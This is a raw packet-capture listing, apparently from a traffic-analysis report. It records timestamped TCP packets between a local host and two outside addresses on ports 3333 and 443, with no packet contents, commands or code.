Oct 28, 2021 22:43:12.273808956 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:13.448642015 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:13.473671913 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:13.523659945 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:20.146394014 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:20.215390921 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:20.215435982 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:20.215465069 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:20.215586901 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.483062029 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.505986929 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.506112099 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.506335974 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.506567955 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.529534101 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.529802084 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.530031919 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.530422926 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.553258896 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.553344011 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.553411961 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.553514957 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.553668022 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.553736925 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.553771019 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.553802967 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.553976059 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.554047108 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.554074049 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.554193974 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.554366112 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.554497004 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.554620981 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.554763079 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.556927919 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.576035976 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.576201916 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.576328039 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.576512098 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.576673985 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.576790094 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.576893091 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.577100039 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.577325106 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.577467918 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.577554941 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.577632904 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.577712059 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.577830076 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.577898979 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.578002930 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.578129053 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.578233957 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.579653978 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.579787016 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.579931974 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.580048084 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.599073887 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.599240065 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.599350929 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.599450111 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.599642038 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.599741936 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.599898100 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.600013018 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.600060940 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.600243092 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.600311995 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.600532055 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.600652933 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.600804090 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.600889921 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.601082087 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.601363897 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.601479053 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.602615118 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.602701902 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.602772951 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.602878094 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.622157097 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.622241974 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.622327089 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.622442007 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.622580051 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.622649908 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.622889996 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.623126030 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.623420954 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.623692989 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.624185085 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.624252081 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.624372005 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.624433041 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.624741077 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.625319958 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.625545025 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.645031929 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.645158052 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.645422935 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.645704031 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.646727085 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.646866083 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.646891117 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.647140980 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.647401094 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.647665977 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.647929907 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.648235083 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.648499012 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.648816109 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.649111986 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.649749041 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.649892092 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.669536114 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.669754982 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.670031071 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.670264959 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.670551062 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.670833111 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.671158075 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.671395063 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.671665907 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.672291040 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.672411919 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.672439098 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.672727108 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.673002005 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.673274994 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.673542976 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.673846960 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.674110889 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.674176931 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.674362898 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.676235914 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.676352024 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.695158958 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.695333958 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.695508003 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.695801020 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.696098089 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.696360111 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.696679115 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.696990967 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.697206020 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.698045015 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.698194027 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.698971987 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.699198008 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.699461937 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.699801922 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.699911118 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.700036049 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.700158119 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.700303078 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.700603008 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.700880051 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.701380968 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.701455116 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.721271992 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.721312046 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.721550941 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.721810102 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.722111940 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.722337961 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.722650051 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.722959995 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.723370075 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:26.723988056 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.724183083 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.724445105 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.724666119 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.724972010 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.725110054 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.725317001 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.725595951 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.725801945 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.726008892 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.746073008 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.746305943 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.746567965 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.746809959 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.747128010 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.747381926 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.747648954 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:26.747936010 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:27.010503054 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:27.011446953 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:27.035666943 CEST	3333	49742	144.76.156.28	192.168.2.3
Oct 28, 2021 22:43:27.087199926 CEST	49742	3333	192.168.2.3	144.76.156.28
Oct 28, 2021 22:43:27.586967945 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:27.587019920 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:27.587119102 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:27.620630980 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:27.620680094 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:27.673603058 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:27.673774958 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:27.680175066 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:27.680206060 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:27.680730104 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:27.727926016 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:27.973741055 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.016978979 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.028381109 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.028603077 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.028717041 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.028734922 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.028770924 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.028829098 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.028841972 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.029036999 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.029103041 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.029118061 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.029220104 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.029278994 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.029293060 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.029397011 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.029455900 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.029468060 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.029568911 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.029624939 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.029634953 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.030013084 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.030085087 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.030097008 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.030219078 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.030271053 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.030282021 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.030854940 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.030920029 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.030930996 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.031033039 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.031089067 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.031099081 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.031634092 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.031693935 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.031704903 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.031831980 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.031884909 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.031897068 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.032422066 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.032483101 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.032497883 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.032589912 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.032650948 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.032665968 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.045196056 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.045286894 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.045299053 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.045321941 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.045373917 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.045449018 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.045598984 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.045651913 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.045672894 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.045766115 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.045816898 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.045828104 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.046168089 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.046226025 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.046237946 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.047168970 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.047229052 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.047244072 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.047732115 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.047808886 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.047821045 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.047911882 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.047971964 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.047981977 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.048032045 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.048043013 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.048790932 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.048877954 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.048891068 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.048943996 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.049525023 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.049597979 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.050462961 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.050549030 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.050796032 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.050868034 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.051407099 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.051480055 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.052337885 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.052407980 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.052701950 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.052774906 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.052799940 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.053704023 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.062001944 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.062148094 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.063688993 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.063776016 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.063990116 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.064064980 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.064116955 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.064965010 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.064975023 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.064996004 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.065043926 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.065078974 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.065100908 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.065167904 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.065977097 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.066050053 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.066085100 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.066147089 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.066883087 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.066957951 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.067689896 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.067774057 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.067823887 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.067888021 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.068618059 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.068697929 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.069454908 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.069538116 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.069565058 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.069622993 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.070216894 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.070291996 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.071007013 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.071084023 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.071116924 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.071180105 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.071923971 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.071995974 CEST	49747	443	192.168.2.3	162.159.129.233
Oct 28, 2021 22:43:28.072042942 CEST	443	49747	162.159.129.233	192.168.2.3
Oct 28, 2021 22:43:28.072112083 CEST	49747	443	192.168.2.3	162.159.129.233
